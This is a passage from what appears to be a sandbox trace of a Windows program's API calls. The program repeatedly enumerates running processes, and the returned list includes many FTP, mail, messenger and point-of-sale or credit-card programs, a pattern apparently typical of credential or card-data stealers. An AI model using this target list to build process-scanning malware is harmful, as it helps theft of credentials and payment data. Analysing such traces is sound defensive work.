th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0134.725] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0134.728] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0134.729] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0134.731] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.733] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0134.735] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0134.736] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0134.739] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0134.741] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.742] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0134.744] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0134.746] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0134.748] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0134.750] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0134.752] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0134.754] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0134.755] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0134.758] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0134.760] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0134.762] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0134.764] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0134.766] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0134.767] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0134.769] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0134.771] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0134.773] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0134.775] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0134.777] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0134.778] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0134.780] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0134.782] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0134.784] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0134.786] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0134.789] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0134.791] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0134.794] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0134.797] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0134.799] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0134.802] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0134.804] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0134.806] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0134.808] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0134.810] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0134.812] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0134.815] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0134.817] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0134.835] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0134.837] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0134.839] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0134.841] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0134.843] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0134.846] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0134.848] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0134.850] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0134.852] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0134.854] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0134.856] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0134.858] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0134.860] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0134.862] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0134.864] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0134.866] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0134.868] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0134.870] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0134.872] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0134.874] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0134.876] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0134.878] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0134.880] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0134.882] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0134.884] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0134.886] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0134.888] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0134.890] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0134.892] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0134.895] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0134.897] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0134.899] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0134.901] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0134.904] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0134.908] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0134.911] Process32Next (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0134.913] CloseHandle (hObject=0x1e10) returned 1 [0134.913] Sleep (dwMilliseconds=0x64) [0135.014] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e10 [0135.030] Process32First (in: hSnapshot=0x1e10, lppe=0x100cfe20 | out: 